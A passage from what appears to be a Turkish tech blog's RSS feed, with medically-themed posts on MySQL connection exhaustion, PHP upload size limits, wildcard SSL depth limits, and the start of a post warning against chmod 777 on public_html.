<p>Şimdi bu hastanede çalışan sorumsuz bir teknisyenin veya stajyerin davranışını hayal edin: Gelen her hastaya oksijen maskesi takmak için duvardaki vanaya bir hortum takıyor ve vanayı sonuna kadar açıyor. Fakat hasta muayene olup taburcu olduğunda, o hortumu prizden çekmiyor veya vanayı kapatmıyor! Hortum yere atılmış, saf oksijen tıslayarak boş odaya kaçmaktadır. İkinci hasta gelir; ona yeni bir vana açılır, o da kapatılmaz. Onuncu, ellinci, yüzüncü hasta... Duvardaki 150 oksijen prizinin tamamından boşluğa gaz fışkırmaktadır!</p>
<p>Sonuç ne olur? Ana boru hattındaki basınç 4 bardan anında 0.5 bara çakılır. Ameliyathanede açık kalp ameliyatı yapılan masadaki hastanın solunum cihazı alarm vermeye başlar: <em>"Oksijen basıncı yetersiz!"</em> Teknisyen ise jeneratör dairesine koşup <em>"Bize daha büyük oksijen tankı alın, bu hastanenin tankı yetersiz"</em> diye bağırır! Sorun tankın küçüklüğünde değil; arkasında açık bırakılan o yüzlerce sorumsuz vanadadır.</p>
<p>Veritabanı mühendisliğinde ve web uygulamalarında her gün yüzlerce web sitesini bir anda karanlığa gömen ve sistemleri kilitleyen felaket tam olarak bu açık vanalar faciasıdır: <strong>MySQL <code>max_connections</code> sınırının tükenmesi ve ekrana çarpan <code>Too Many Connections</code> hatası.</strong></p>
<h3>Salı 11:15: "Veritabanı Çöktü, RAM Yetmiyor!"</h3>
<p>Orta ölçekli bir e-ticaret sitesi veya haber portalı... Anlık ziyaretçi sayısı 150-200 civarındadır. Donanım gayet güçlüdür: 8 çekirdekli işlemci, 32 GB RAM.</p>
<p>Aniden sitede hayat durur. Ziyaretçiler hangi sayfaya tıklarsa tıklasın karşılarına beyaz bir sayfa ve üzerinde tek bir satır hata çıkar:</p>
<pre><code class="language-text">User eticaret_user already has more than 'max_user_connections' active connections
veya:
Fatal error: Uncaught mysqli_sql_exception: Too many connections in /home/site/db.php:12
</code></pre>
<p>Sitenin kurucusu ve yazılımcısı çılgına döner. Yazılımcı hemen hosting firmasına yüksek öncelikli bir bilet açar:</p>
<blockquote>
<p><em>"Sunucumuzun veritabanı motoru çöktü! Sürekli 'Too many connections' hatası veriyor. Sistemde 200 kişi var, sunucunun RAM'i yetersiz kalıyor! Acil olarak sunucuya 32 GB daha RAM ekleyin ve MySQL bağlantı limitini 5.000 yapın!"</em></p>
</blockquote>
<p>Yazılımcı sorunun donanımda olduğuna o kadar emindir ki, faturayı anında hosting firmasına kesmiştir.</p>
<h3>Perdenin Arkasındaki Otopsi: Yüzlerce "Sleep" Zombisi</h3>
<p>Sistem yöneticisi sunucuya SSH ile bağlanır. MySQL konsoluna root yetkisiyle girer (MySQL, acil durumlar için root kullanıcısına özel 1 adet ekstra bağlantı payı saklar: <code>max_connections + 1</code>).</p>
<p>Mühendis o ünlü sorguyu çalıştırır:</p>
<pre><code class="language-sql">SHOW PROCESSLIST;
</code></pre>
<p>Ve ekranda dökülen tablo, tam bir açık vana mezarlığıdır:</p>
<pre><code class="language-text">+-----+---------------+-----------+-------+---------+------+-------+------------------+
| Id  | User          | Host      | db    | Command | Time | State | Info             |
+-----+---------------+-----------+-------+---------+------+-------+------------------+
| 142 | eticaret_user | localhost | db_et | Sleep   | 148  |       | NULL             |
| 143 | eticaret_user | localhost | db_et | Sleep   | 145  |       | NULL             |
| 144 | eticaret_user | localhost | db_et | Sleep   | 142  |       | NULL             |
| ... | ...           | ...       | ...   | Sleep   | ...  |       | NULL             |
| 293 | eticaret_user | localhost | db_et | Sleep   | 68   |       | NULL             |
+-----+---------------+-----------+-------+---------+------+-------+------------------+
151 rows in set (0.00 sec)
</code></pre>
<p>Ekranda çalışan tek bir ağır SQL sorgusu bile yoktur! Bütün bağlantıların komut sütununda ne yazmaktadır? <strong><code>Sleep</code>!</strong></p>
<p>Yani bağlantılar uykudadır, hiçbir şey yapmamaktadır.</p>
<p>Yazılımcının yazdığı PHP kodu, her sayfa isteğinde veritabanına yeni bir TCP soketi açmış (<code>new PDO(...)</code> veya <code>mysqli_connect</code>); sorguyu çekmiş, HTML'i ekrana basmış; fakat işi bittiğinde o veritabanı bağlantısını <strong>kapatmamıştır!</strong></p>
<p>Üstüne üstlük yazılımcı "performans olsun" diye veritabanı bağlantı ayarlarına ezbere şu parametreyi eklemiştir:</p>
<pre><code class="language-php">// Faciaya davetiye:
$options = [
    PDO::ATTR_PERSISTENT => true // Kalıcı bağlantı (pconnect)!
];
</code></pre>
<p>Kalıcı bağlantı (Persistent Connection), PHP-FPM worker'ı yaşadığı sürece o soketi asla kapatmaz; duvardaki vanayı açık bırakıp gider!</p>
<p>Ziyaretçiler geldikçe yeni bağlantılar açılır. Ve MySQL'in varsayılan güvenlik sınırı olan <strong>151 bağlantı</strong> (veya kullanıcının <code>max_user_connections = 30</code> sınırı) 2 dakika içinde damlasına kadar dolar! 152. ziyaretçi kapıya geldiğinde MySQL kapıyı kilitler: <em>"Kusura bakma, içeride 151 kişi var ve hepsi vanaları açık bırakıp uykuya dalmış; sana verecek tek bir soketim bile kalmadı!"</em></p>
<h3><code>max_connections = 5000</code> Yapmanın Ölümcül Bedeli</h3>
<p>Yazılımcının önerdiği o "kolaycı" çözüm devreye alınırsa ne olur? Yani sistem yöneticisi <code>my.cnf</code> içine <code>max_connections = 5000</code> yazarsa?</p>
<p>MySQL'de her bir açık bağlantı, işletim sisteminden bağımsız bir thread ve bellek alanı tahsis eder (<code>sort_buffer_size</code>, <code>read_buffer_size</code>, <code>join_buffer_size</code>).</p>
<p>150 bağlantı yerine aynı anda 5.000 bağlantı açıldığında, MySQL saniyeler içinde sunucudaki 32 GB RAM'in tamamını emer! Linux çekirdeğinin hafıza koruma polisi olan <strong>OOM Killer (Out of Memory Killer)</strong> devreye girer ve sunucunun en çok RAM tüketen sürecini kafasından vurarak öldürür: <code>kill -9 mysqld</code>.</p>
<p>Veritabanı anında çöker, InnoDB dosyaları bozulma tehlikesine girer. Limiti bilinçsizce artırmak, açık vanaların arkasına devasa bir baraj bağlayıp odayı suyla basmaktan farksızdır.</p>
<h3>Temiz Kod ve Cerrahi Hijyen Protokolü</h3>
<p><code>Too Many Connections</code> kabusunu kökünden çözmenin yolu donanım satın almak değil, kodun ve veritabanının disiplinini sağlamaktır:</p>
<ol>
<li><strong>Bağlantıyı Kapatın (Explicit Close):</strong> Kodunuzda veritabanıyla işiniz bittiği saniyede o soketi serbest bırakın:
<pre><code class="language-php">// PDO için bağlantıyı sonlandır:
$pdo = null;
// MySQLi için:
$mysqli->close();
</code></pre>
</li>
<li><strong>Kalıcı Bağlantıları (Persistent Connections) Kapatın:</strong> Ne yaptığınızı ve PHP-FPM havuzunun sınırlarını çok iyi bilmiyorsanız, <code>PDO::ATTR_PERSISTENT</code> seçeneğini asla <code>true</code> yapmayın! Bırakın her istek işi bitince temiz bir şekilde kapansın.</li>
<li><strong><code>wait_timeout</code> Değerini Düşürün:</strong> MySQL varsayılan olarak boşta bekleyen (Sleep) bir bağlantıyı tam <strong>28.800 saniye (8 saat!)</strong> boyunca açık tutar! Bu tam bir israftır. <code>my.cnf</code> dosyasında bu süreyi makul bir seviyeye indirin:
<pre><code class="language-ini">wait_timeout = 60
interactive_timeout = 60
</code></pre>
Bu ayar sayesinde 60 saniye boyunca hiçbir sorgu çalıştırmayan yetim bağlantılar MySQL tarafından otomatik olarak sonlandırılır; vanalar kendi kendine kapanır.</li>
<li><strong>Bağlantı Havuzlayıcı (Connection Pooler - ProxySQL):</strong> Çok yüksek trafikli sistemlerde PHP ile MySQL arasına <strong>ProxySQL</strong> yerleştirin. ProxySQL, 10.000 web isteğini arkadaki sadece 50 adet MySQL bağlantısı üzerinden paylaştırarak sıfır gecikmeyle yönetir.</li>
</ol>
<p>Hortumları açık bırakıp kaçan personelin oksijen tankını suçlaması ne kadar absürtse; bağlantıyı kapatmayıp sunucunun RAM'ine laf atan yazılımcı da o kadar mesleki körlük içindedir. Mühendislik, sınırsız kaynak tüketmek değil; eldeki kaynağı en yüksek verimle ve saygıyla yönetme sanatıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>MySQL</category>
            <category>max_connections</category>
            <category>Veritabanı</category>
            <category>Sistem Yönetimi</category>
            <category>PHP</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/mysql-max_connections-siniri-ve-too-many-connections-felaketi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP upload_max_filesize vs post_max_size Karışıklığı"]]></title>
            <link>http://localhost:3000/blog/post/php-upload_max_filesize-vs-post_max_size-karisikligi</link>
            <guid>php-upload_max_filesize-vs-post_max_size-karisikligi</guid>
            <pubDate>Tue, 17 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[50 MB'lık dosyayı yüklemek için upload_max_filesize değerini artırıp post_max_size veya memory_limit hiyerarşisini unutan geliştiricinin, formun hiçbir hata vermeden sessizce sıfırlanması karşısında yaşadığı "Sunucu dosyamı yuttu" cinneti.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-upload_max_filesize-vs-post_max_size-karisikligi/thumbnail" alt=""> Gastroenteroloji ve göğüs cerrahisinde hekimlerin karşılaştığı en ilginç anatomik patolojilerden biri "Özofagus Darlığı"dır (Yemek borusu darlığı). Hasta masaya oturur, iştahı yerindedir; ağzını kocaman açar, koca bir elmayı veya ekmek parçasını çiğneyip yutmak ister. Ağız boşluğu ve çene kasları o lokmayı alacak kadar geniştir. Fakat lokma yutulduğu anda, yemek borusunun orta kısmındaki o daralmış halkaya takılır. Lokma mideye inemez, sıkışır ve vücut bir savunma refleksiyle o lokmayı hiçbir gürültü çıkarmadan, sessizce geri çıkarır (regürjitasyon). Dışarıdan bakan biri hastanın yemeği yediğini sanır; oysa besin mideye hiç ulaşmamıştır. Hiyerarşik boru hattında darlık varsa, kapının geniş olması hiçbir işe yaramaz.</p>
<p>Web yazılımı mimarisinde ve PHP ekosisteminde de web geliştiricilerin ve sistem yöneticilerinin yıllardır düştüğü en yaygın, en komik ama bir o kadar da delirtici tuzak tam olarak bu yemek borusu darlığıdır: <strong><code>upload_max_filesize</code> değerini artırıp, arkasındaki <code>post_max_size</code> ve <code>memory_limit</code> hiyerarşisini unutmak.</strong></p>
<h3>Çarşamba 15:30: "Kataloğu Yüklüyorum, Sayfa Başa Dönüyor!"</h3>
<p>Bir kurumsal firmanın web yöneticisi veya grafiker arkadaşımız yönetim paneline girer. Şirketin yeni hazırlanan 45 Megabayt boyutundaki yüksek çözünürlüklü PDF ürün kataloğunu siteye yüklemek istemektedir.</p>
<p>WordPress ortam kütüphanesine veya özel PHP paneline girer. Dosya yükleme ekranının altında o tanıdık uyarıyı görür:</p>
<blockquote>
<p><strong>"Maksimum dosya yükleme boyutu: 2 MB."</strong></p>
</blockquote>
<p>Kullanıcı bilinçlidir. cPanel'e girer, "MultiPHP INI Editor" sekmesini açar. Listeden ilgili parametreyi bulur:</p>
<pre><code class="language-ini">upload_max_filesize = 64M
</code></pre>
<p>Değeri 2M'den gururla <strong>64M</strong> seviyesine çıkarır ve "Kaydet"e basar. Panelde artık <em>"Maksimum yükleme boyutu: 64 MB"</em> yazmaktadır.</p>
<p>Kullanıcı mutlu bir şekilde dosya yükleme butonuna tıklar, o 45 MB'lık PDF kataloğunu seçer ve <strong>"Yükle"</strong> der.</p>
<p>Tarayıcının altındaki ilerleme çubuğu %10... %50... %99... %100 olur.</p>
<p>Ve sayfa aniden yenilenir.</p>
<p>Ekranda ne bir yüklenmiş dosya vardır, ne bir onay mesajı, ne de tek bir kırmızı hata uyarısı! Sayfa sanki o butona hiç basılmamış gibi tertemiz, bomboş bir şekilde başa dönmüştür!</p>
<p>Kullanıcı tekrar dener; dosya seçilir, %100 yüklenir, sayfa yenilenir ve BOMBOŞ başa döner!</p>
<p>Kullanıcı üçüncü denemeden sonra çıldırır. Destek masasını arar:</p>
<blockquote>
<p><em>"Sizin sunucunuz kafayı yemiş! 64 MB limit verdim, 45 MB dosya atıyorum; sunucu dosyayı alıyor, tam bitti derken hiçbir hata vermeden sayfayı sıfırlıyor! Dosyam buharlaşıyor resmen! Sunucunuz dosyalarımı yutuyor, sabahtan beri dalga mı geçiyorsunuz benimle?"</em></p>
</blockquote>
<h3>PHP'nin Sessiz İntikamı: Boşalan <code>$_POST</code> ve <code>$_FILES</code></h3>
<p>Kullanıcının anlayamadığı o gizemli mekanizma, PHP'nin HTTP isteklerini karşılarken uyguladığı katı ve acımasız hiyerarşide gizlidir.</p>
<p>Bir dosya tarayıcıdan sunucuya gönderilirken tek başına havada uçmaz. Bir <strong>HTTP POST</strong> paketinin içine sarılarak (<code>multipart/form-data</code>) sunucuya fırlatılır.</p>
<p>İşte o anda PHP'nin kutsal üçlü hiyerarşisi devreye girer:</p>
<pre><code class="language-text">memory_limit > post_max_size > upload_max_filesize
</code></pre>
<p>Kullanıcı ne yapmıştır?</p>
<ul>
<li><code>upload_max_filesize = 64M</code> (Ağzını 64M açmıştır!)</li>
<li>Fakat <code>post_max_size</code> değerini varsayılan <strong><code>8M</code></strong> seviyesinde unutmuştur! (Yemek borusu 8M'de kalmıştır!)</li>
<li><code>memory_limit</code> değeri ise belki de <strong><code>32M</code></strong> seviyesindedir!</li>
</ul>
<p>Ve PHP çekirdeğinde şu dehşet senaryosu gerçekleşir:</p>
<ol>
<li>Tarayıcı 45 MB'lık dosyayı POST paketiyle sunucuya fırlatır.</li>
<li>Web sunucusu paketi alır, PHP motoruna teslim eder.</li>
<li>PHP motoru kapıya bakar: Gelen POST paketinin toplam boyutu <strong>46 Megabayt</strong>'tır!</li>
<li>PHP ayar dosyasına bakar: <code>post_max_size = 8M</code>!</li>
<li>PHP şu kararı verir: <em>"Bu POST paketi benim izin verdiğim 8M sınırını aşmıştır. Bu paketi işlemeyi reddediyorum!"</em></li>
</ol>
<p>Ve en ölümcül kısım şudur: PHP bu durumda betiği durdurup ekrana bir <code>Fatal Error</code> basmaz!</p>
<p>Bunun yerine küresel <strong><code>$_POST</code></strong> ve <strong><code>$_FILES</code></strong> dizilerinin içini <strong>tamamen boşaltır (empty array)!</strong></p>
<p>Script çalışmaya devam eder. Sizin PHP kodunuz bakar: <code>$_FILES['dosya']</code> var mı? Yok! Bomboş bir dizi gelmiş! Kod hiçbir veri gelmediğini zanneder, hiçbir hata fırlatmaz ve kullanıcıyı saf saf ana forma geri yönlendirir!</p>
<p>Kullanıcı ekran karşısında dosyasının "buharlaştığını" zannederken, aslında PHP'nin yemek borusu o lokmayı daha kapıda kusmuştur.</p>
<h3>Kutsal Üçlü Hiyerarşisi: Matruşka Bebekleri Kuralı</h3>
<p>Bu parametreler birbirinin içine geçen Rus matruşka bebekleri gibidir. Dıştaki bebek, içteki bebekten daima daha büyük olmak zorundadır!</p>
<pre><code class="language-text">[      memory_limit: 256M      ]  &#x3C;-- En dıştaki mide (PHP'nin toplam hafızası)
   [   post_max_size: 128M   ]   &#x3C;-- Ortadaki yemek borusu (Tüm form paketi)
      [ upload_max_filesize: 64M ] &#x3C;-- En içteki lokma (Tek bir dosya boyutu)
</code></pre>
<p>Bir dosyayı sorunsuz yükleyebilmek için yazılması gereken doğru cerrahi reçete şudur:</p>
<pre><code class="language-ini">; 1. Tek bir dosyanın maksimum boyutu:
upload_max_filesize = 64M

; 2. Formdaki tüm dosyaların ve yazıların toplam boyutu (daima upload'dan büyük olmalı!):
post_max_size = 128M

; 3. Bu işlemi hafızada işleyecek PHP scriptinin bellek tavanı (daima post'tan büyük olmalı!):
memory_limit = 256M

; 4. Büyük dosyanın sunucuya yüklenirken zaman aşımına uğramaması için:
max_execution_time = 300
max_input_time = 300
</code></pre>
<p>Bu dört satırı <code>php.ini</code> dosyasına yazıp web sunucusunu yeniden başlattığınız anda, o yemek borusu darlığı saniyeler içinde ortadan kalkar.</p>
<p>Kullanıcı 45 MB'lık kataloğu seçip "Yükle"ye basar. Yükleme çubuğu %100 olur, sayfa yeşil bir tik işaretiyle açılır: <em>"Katalog başarıyla yüklendi!"</em></p>
<h3>Parametreler Arasındaki Görünmez Bağları Anlamak</h3>
<p>Sistem yönetimi tek bir butonu çevirip mucize beklemek değildir. Bir parametreyi değiştirdiğinizde, onun bağlı olduğu alt ve üst sınırları da hesaba katmak zorundasınız:</p>
<ul>
<li><code>upload_max_filesize</code> lokmanın büyüklüğüdür,</li>
<li><code>post_max_size</code> lokmanın geçtiği boğazdır,</li>
<li><code>memory_limit</code> lokmanın sindirildiği midedir,</li>
<li><code>max_execution_time</code> ise lokmanın sindirilmesi için tanınan süredir.</li>
</ul>
<p>Bu zincirin tek bir halkasını dar bırakırsanız, sistem bağırmadan, hata vermeden sessizce çöker. Mühendislik, parametrelerin ezbere yazılması değil; o parametrelerin birbirleriyle kurduğu biyolojik dengenin saygıyla yönetilmesidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>php.ini</category>
            <category>Dosya Yükleme</category>
            <category>WordPress</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-upload_max_filesize-vs-post_max_size-karisikligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Wildcard SSL" Yanılsaması ve Alt Alan Adı (Subdomain) Limiti]]></title>
            <link>http://localhost:3000/blog/post/wildcard-ssl-yanilsamasi-ve-alt-alan-adi-subdomain-limiti</link>
            <guid>wildcard-ssl-yanilsamasi-ve-alt-alan-adi-subdomain-limiti</guid>
            <pubDate>Mon, 16 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tüm alt alan adlarını tek sertifikayla koruma vaadiyle Wildcard SSL satın alan yöneticinin, belgenin sadece tek bir derinlik seviyesini (*.sirket.com) koruduğunu ve iki kademeli (v1.api.sirket.com) yapılarda patladığını keşfetmesiyle yaşadığı şok.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/wildcard-ssl-yanilsamasi-ve-alt-alan-adi-subdomain-limiti/thumbnail" alt=""> Klinik farmakolojide genç hekimlerin ve tıp öğrencilerinin sıkça düştüğü tehlikeli bir yanılgı vardır: "Geniş Spektrumlu Antibiyotik" efsanesi. Hekim hastaya bakar; <em>"Geniş spektrumlu güçlü bir sefalosporin veya florokinolon yazdım, vücuttaki her türlü enfeksiyonu siler süpürür"</em> diyerek rahat bir nefes alır.</p>
<p>Oysa mikrobiyolojinin kanunları o kadar basit değildir. O "geniş spektrumlu" ilaç belirli gram-pozitif ve gram-negatif bakterilere etki ederken; anaerobik bakterilere, atipik mikroorganizmalara veya mantarlara zerre kadar dokunamaz. İki gün sonra hasta hekimin karşısına fırsatçı bir fungal sepsis veya dirençli <em>Clostridioides difficile</em> enfeksiyonuyla geri döner. İlacın adı "geniş spektrumlu"dur; fakat derinlerdeki mikropları kapsayacak kadar sınırsız değildir. Adındaki pazarlama jargonu, biyolojik gerçeklerin önüne geçemez.</p>
<p>İnternet altyapısında ve kriptografik sertifika yönetiminde de şirketlerin yüzlerce dolar harcayıp satın aldığı en büyük hayal kırıklıklarından biri tam olarak bu geniş spektrum tuzağıdır: <strong>Wildcard SSL sertifikasının çok katmanlı alt alan adlarında (Multi-Level Subdomains) çaresiz kalması.</strong></p>
<h3>300 Dolarlık Mucize: "*.sirketadi.com"</h3>
<p>Bir holdingin veya hızlı büyüyen bir teknoloji girişiminin altyapı ekibi toplanır. Şirketin ana sitesi vardır, yanında müşteri paneli (<code>panel.sirketadi.com</code>), mağaza (<code>shop.sirketadi.com</code>), blog (<code>blog.sirketadi.com</code>) ve API sunucuları vardır.</p>
<p>Her bir alt alan adı için ayrı ayrı sertifika almakla veya yenilemekle uğraşmak istemezler. Şirket kredi kartını çıkarır, sektörün bilinen bir sertifika otoritesinden (DigiCert, Sectigo veya GlobalSign) yıllık 300-400 dolar ödeyerek <strong>Wildcard SSL</strong> sertifikası satın alır:</p>
<pre><code class="language-text">Common Name (CN): *.sirketadi.com
Subject Alternative Name (SAN): *.sirketadi.com, sirketadi.com
</code></pre>
<p>Sertifika sunucuya kurulur.</p>
<ul>
<li><code>panel.sirketadi.com</code> -> Yeşil kilit!</li>
<li><code>shop.sirketadi.com</code> -> Yeşil kilit!</li>
<li><code>blog.sirketadi.com</code> -> Yeşil kilit!</li>
</ul>
<p>Altyapı yöneticisi arkasına yaslanır: <em>"İşte bu kadar! Artık ne kadar subdomain açarsak açalım, sonsuza kadar güvendeyiz. Wildcard aldık, sınırları kaldırdık!"</em></p>
<p>Fakat yöneticinin unuttuğu şey, kriptografi standartlarının pazarlama broşürlerinden ibaret olmadığıdır.</p>
<h3>Gece Yarısı Yeni Mikroservis: "v1.api.sirketadi.com"</h3>
<p>Üç ay sonra şirketin backend ekibi yeni bir mobil uygulama geliştirir. Modern mikroservis mimarisinin bir gereği olarak API uç noktasını versiyonlayarak açarlar:</p>
<pre><code class="language-text">v1.api.sirketadi.com
</code></pre>
<p>Yazılımcılar Nginx konfigürasyonunu yapar, sunucudaki o meşhur <code>*.sirketadi.com</code> Wildcard SSL sertifikasını bu yeni alt alan adına bağlarlar.</p>
<p>Ve mobil uygulamanın test sürümü çalıştırılır.</p>
<p>Ancak mobil uygulama sunucuya bağlanamaz! iOS işletim sistemi ve Android cihazlar bağlantıyı anında reddeder: <code>SSLHandshakeException: Certificate pinning / verification failure</code>.</p>
<p>Geliştirici tarayıcıdan <code>https://v1.api.sirketadi.com</code> adresini açar. Ve ekranda o buz gibi kırmızı uyarı patlar:</p>
<blockquote>
<p><strong>Bağlantınız Gizli Değil</strong><br>
*Bu sunucu, alan adının sertifikasıyla eşleştiğini kanıtlayamadı. Sertifika <em>.sirketadi.com için geçerlidir.</em><br>
<strong>NET::ERR_CERT_COMMON_NAME_INVALID</strong></p>
</blockquote>
<p>Geliştiricilerin beyni donar. Şirket patronu ve IT direktörü hosting firmasına bilet açar:</p>
<blockquote>
<p><em>"Siz bize bozuk Wildcard SSL sattınız! Yılda 400 dolar para ödedik 'Bütün subdomainleri korur' dediniz. Yeni açtığımız v1.api.sirketadi.com adresinde kırmızı hata veriyor! Derhal paramızı iade edin ya da bu sertifikayı düzeltin!"</em></p>
</blockquote>
<h3>RFC 6125: Kriptografinin Katı Nokta Kuralı</h3>
<p>Destek mühendisi IETF'in resmi internet standardı olan <strong>RFC 6125 (Bölüm 6.4.3)</strong> dokümanını açar ve müşterinin önüne koyar:</p>
<blockquote>
<p><em>"The wildcard character '</em>' MUST NOT match more than one domain name component or label. In particular, a wildcard certificate for <code>*.example.com</code> matches <code>foo.example.com</code> but MUST NOT match <code>bar.foo.example.com</code>."*</p>
</blockquote>
<p>İşte kural bu kadar açık ve kesindir!</p>
<p>Wildcard (joker karakter <code>*</code>), sadece ve sadece <strong>tek bir nokta derinliğindeki</strong> alan adlarını kapsar.</p>
<p>Yani <code>*.sirketadi.com</code> sertifikası:</p>
<ul>
<li><code>api.sirketadi.com</code> -> <strong>EŞLEŞİR (Geçerlidir).</strong></li>
<li><code>panel.sirketadi.com</code> -> <strong>EŞLEŞİR (Geçerlidir).</strong></li>
<li>Ancak <code>v1.api.sirketadi.com</code> -> <strong>EŞLEŞMEZ!</strong> Çünkü araya ikinci bir nokta (<code>v1.</code> ve <code>api.</code>) girmiştir! Kriptografik standartlar gereği joker karakter iki kademeli hiyerarşiyi atlayamaz!</li>
</ul>
<p>Kullanıcı zannetmiştir ki o joker karakter bir büyücüdür ve alan adının önündeki elli tane noktayı birden tek başına şifreleyebilir. Oysa güvenlik standartları, saldırganların bu joker karakteri suistimal ederek sahte iç alt alan adları türetmesini engellemek için bu sınırı kasıtlı olarak koymuştur.</p>
<h3>İkinci Kademeyi Kurtarma Protokolü</h3>
<p>İki kademeli veya mikroservis mimarisine sahip derin alan adlarını (<code>v1.api</code>, <code>staging.dev</code>, <code>admin.panel</code>) güvenliğe kavuşturmanın gerçek mühendislik çözümleri şunlardır:</p>
<ol>
<li><strong>Özel Alt Wildcard Sertifikası:</strong> Eğer <code>api.sirketadi.com</code> altında onlarca farklı mikroservis (<code>v1.api</code>, <code>v2.api</code>, <code>auth.api</code>) açacaksanız, doğrudan o kademe için ayrı bir Wildcard sertifikası tanımlamalısınız:
<pre><code class="language-text">CN: *.api.sirketadi.com
</code></pre>
</li>
<li><strong>Multi-Domain (SAN / UCC) Sertifikaları:</strong> Alan adlarınızı tek bir joker karaktere sıkıştırmak yerine, sertifikanın SAN (Subject Alternative Name) listesine ihtiyaç duyduğunuz tüm derin adresleri açıkça ekleyin:
<pre><code class="language-text">DNS Name: sirketadi.com
DNS Name: *.sirketadi.com
DNS Name: v1.api.sirketadi.com
DNS Name: staging.dev.sirketadi.com
</code></pre>
</li>
<li><strong>Alt Çizgi veya Tire Mimarisi:</strong> Altyapınızı iki kademeli noktayla bölmek yerine alan adı düzeyinde tekilleştirin: <code>v1.api.sirketadi.com</code> yerine <strong><code>v1-api.sirketadi.com</code></strong> kullanın! Araya nokta girmediği için mevcut <code>*.sirketadi.com</code> Wildcard sertifikanız bu adresi kusursuz bir şekilde koruyacaktır.</li>
<li><strong>Let's Encrypt ve Otomasyon:</strong> Ticari Wildcard sertifikalarına yüzlerce dolar dökmek yerine, Let's Encrypt ve Certbot kullanarak her alt alan adı için ihtiyaç anında otomatik, ücretsiz ve sınırsız tekil sertifikalar üretin.</li>
</ol>
<p>Geniş spektrumlu antibiyotiğin her mikroba çare olacağını sanan hekim hastayı nasıl riske atıyorsa; Wildcard SSL'in her derinliği şifreleyeceğini sanan yönetici de altyapısını kırmızı güvenlik uyarısına mahkûm eder. Kriptografi niyetlerle değil, protokollerin milimetrik kurallarıyla çalışır. Kuralları bilmeden satın alınan her "sınırsız" çözüm, ilk virajda duvara toslamaya mahkûmdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SSL</category>
            <category>Wildcard SSL</category>
            <category>Subdomain</category>
            <category>RFC 6125</category>
            <category>Siber Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/wildcard-ssl-yanilsamasi-ve-alt-alan-adi-subdomain-limiti/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["CPanel'de Yanlışlıkla public_html İzinlerini (CHMOD 777) Yapmak"]]></title>
            <link>http://localhost:3000/blog/post/cpanelde-yanlislikla-public_html-izinlerini-chmod-777-yapmak</link>
            <guid>cpanelde-yanlislikla-public_html-izinlerini-chmod-777-yapmak</guid>
            <pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[WordPress'te dosya yükleme hatası alınca sorunu çözmek için FileZilla'dan tüm public_html dizinini ve altındaki dosyaları "777" yapan acemi kullanıcının, suPHP ve LiteSpeed güvenlik kalkanına takılıp 500 Internal Server Error ile kilitlenmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cpanelde-yanlislikla-public_html-izinlerini-chmod-777-yapmak/thumbnail" alt=""> Hastanelerin cerrahi bloklarında sterilizasyon protokolleri tavizsizdir. Ameliyathanenin kapısı sadece yetkili cerrahi personelin kartıyla açılır. Şimdi düşünün ki genç bir asistan hekim ameliyathaneye girmek istiyor fakat manyetik kartı kapıyı açmıyor; kapı kilitli kalıyor.</p>
<p>Asistan hekim güvenliği arayıp kartını tanımlatmak yerine, eline koca bir balyoz alıyor! Ameliyathanenin çelik kapısını, koridordaki camları, binanın dış kapısını ve bahçe duvarlarını yerle bir ediyor! Sokaktaki çamuru, başıboş hayvanları ve egzoz dumanını ameliyat masasının ortasına davet ediyor. Ve arkasına dönüp <em>"Bakın artık herkes rahatça içeri girebiliyor, kapı sorunu çözüldü"</em> diyor!</p>
<p>Tam o sırada hastanenin otomatik enfeksiyon kontrol sistemi devreye girer; acil durum sirenleri çalar, havalandırma mühürlenir ve o ameliyathane kalıcı olarak kırmızı mühürle kapatılır. Sorunu çözmek için tüm savunma mekanizmasını yok etmek, tıp dilinde doğrudan bir felaket davetiyesidir.</p>
<p>Web barındırma ve Linux sistem yönetiminde acemi web yöneticilerinin ve site sahiplerinin en sık yaptığı ve sistemleri anında komaya sokan en trajik hata tam olarak bu balyozlu cerrahi cinayetidir: <strong>Dosya yazma hatası alınca tüm <code>public_html</code> dizinine körlemesine <code>CHMOD 777</code> basmak.</strong></p>
<h3>Pazar 14:00: O Masum "Yükleme Başarısız" Hatası</h3>
<p>Kullanıcı WordPress paneline girmiş, yeni bir eklenti veya ürün fotoğrafı yüklemeye çalışmaktadır. Ekranda can sıkıcı bir hata belirir:</p>
<blockquote>
<p><em>"Yüklenen dosya wp-content/uploads dizinine taşınamadı. Disk yazma izinlerini kontrol ediniz."</em></p>
</blockquote>
<p>Kullanıcı Google'a girer: <em>"WordPress dosya yazma izni nasıl verilir?"</em>.</p>
<p>2004 yılından kalma, hiçbir güvenlik bilinci olmayan eski bir forum başlığına denk gelir: <em>"FileZilla'yı açın, public_html klasörüne sağ tıklayın, Dosya İzinleri deyin, oraya 777 yazın ve 'Tüm alt klasörlere uygula' kutusunu işaretleyin, hiçbir sorun kalmaz!"</em></p>
<p>Kullanıcının gözleri parlar: <em>"Vay be, çözüm bu kadar basitmiş!"</em></p>
<p>FileZilla'ya girer. <code>public_html</code> klasörüne sağ tıklar. Sayısal değer kutusuna <strong><code>777</code></strong> yazar. "Alt klasörlere ve dosyalara da uygula" der.</p>
<p>Linux dosya sistemindeki o dehşet verici yetkilendirme saniyeler içinde binlerce dosyaya uygulanır:</p>
<ul>
<li>Sahibi: Oku, Yaz, Çalıştır (<code>rwx - 7</code>)</li>
<li>Grubu: Oku, Yaz, Çalıştır (<code>rwx - 7</code>)</li>
